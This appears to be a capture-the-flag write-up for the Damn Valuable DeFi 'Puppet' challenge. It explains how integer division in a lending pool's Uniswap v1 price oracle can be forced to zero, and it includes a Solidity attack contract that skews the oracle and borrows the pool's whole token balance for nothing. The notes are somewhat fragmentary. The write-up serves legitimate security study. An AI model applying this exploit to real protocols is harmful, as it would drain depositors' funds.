There's a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There's a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.
Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.
A correct implementation should multiply by the borrowAmount
first before dividing by the token balance to circumvent this issue.
function computeOraclePrice() public view returns (uint256) {
// this is wrong and will be 0 due to integer division as soon as the pool's token balance > ETH balance
return uniswapOracle.balance.div(token.balanceOf(uniswapOracle));
// you should do
token.balanceOf(uniswapOracle)*borrowAmount
}
少しswapして分母を大きくするだけでreturn valueは0になる
uint256 depositRequired = borrowAmount.mul(tokenPriceInWei) * 2;
👉 User doesn’t need to deposit token
function attack(uint256 amount) public {
// trade tokens to ETH to increase tokens balance in uniswap
require(token.balanceOf(address(this)) >= amount, "not enough tokens");
token.approve(address(uniswap), amount);
uint256 ethGained =
uniswap.tokenToEthSwapInput(amount, 1, block.timestamp + 1);
// computeOraclePrice has integer division issue which will make price 0
// as soon as token balance is greater than ETH balance
require(pool.computeOraclePrice() == 0, "oracle price not 0");
// now borrow everything from the pool at a price of 0
pool.borrow(token.balanceOf(address(pool)));
// success condition is that attacker's ETH balance did not decrease
// but it reduced due to gas cost, just send back the eth we gained from the swap
// transfer all tokens & eth to attacker EOA
require(
token.transfer(msg.sender, token.balanceOf(address(this))),
"token transfer failed"
);
msg.sender.transfer(ethGained);
}
// required to receive ETH from uniswap
receive() external payable {}